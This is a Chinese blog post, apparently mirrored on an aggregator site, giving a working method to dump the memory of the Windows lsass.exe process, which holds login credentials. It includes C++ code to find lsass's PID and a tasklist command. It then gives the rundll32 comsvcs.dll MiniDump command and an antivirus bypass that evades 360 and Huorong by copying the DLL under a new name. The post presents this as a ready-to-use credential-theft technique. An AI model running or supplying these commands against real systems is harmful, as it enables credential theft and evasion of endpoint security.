zoukankan      html  css  js  c++  java
  • comsvcs.dll转储lsass(过360卫士&火绒)

    简介

    comsvcs.dll,在系统崩溃时转储进程内存的系统窗口和系统32,通过rundll32编写,该dll包含函数MiniDumpW
    

    实际使用

    用api调或者看进程都可以

    此处需要获得lsass.exe的pid
    #include<Windows.h>
    #include<Tlhelp32.h>
    #include<stdio.h>
    #include <iostream>
    using namespace std;
    int getpid() {
    	DWORD lsassPID = 0;
    	LPCWSTR processName = L"";
    	PROCESSENTRY32 processEntry;
    	processEntry.dwSize = sizeof(PROCESSENTRY32);
    	HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	if (Process32First(hSnapShot, &processEntry)) {
    		while (_wcsicmp(processName, L"lsass.exe") != 0)
    		{
    			Process32Next(hSnapShot, &processEntry);
    			processName = processEntry.szExeFile;
    			lsassPID = processEntry.th32ProcessID;
    		}
    		wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
    	}
    	return 0;
    }
    
    
    int main() {
    	getpid();
    }
    
    通过tasklist也可以
    tasklist | findstr lsass.exe
    

    在有360&火绒的情况下直接冲是会被挡的(火绒无反应)
    rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump 508 lsass.dmp full
    

    想想绕过,拷贝下dll,再出来就不挡了
    copy C:windowsSystem32comsvcs.dll yyyang.dll
    rundll32.exe yyyang.dll, MiniDump 508 lsass.dmp full
    

    然后怎么读大家应该都会
    


    联系邮箱:yang_s1r@163.com 博客园地址:https://www.cnblogs.com/Yang34/
  • 相关阅读:
    麒麟短线王实战技法
    Silverlight的资源
    Windows Live SkyDrive, Windows Live Sync 和 Live Mesh
    Listview.Subitem.BackColor.ForeColor改变字体颜色和背景
    windows mobile控制面板程序
    Windows Azure百度百科
    wcf中如何Host多个WCF服务?
    强弱跟踪
    修改默认的HTTP Response Header
    DataTable 内部索引已损坏
  • 原文地址:https://www.cnblogs.com/Yang34/p/14418572.html
Copyright © 2011-2022 走看看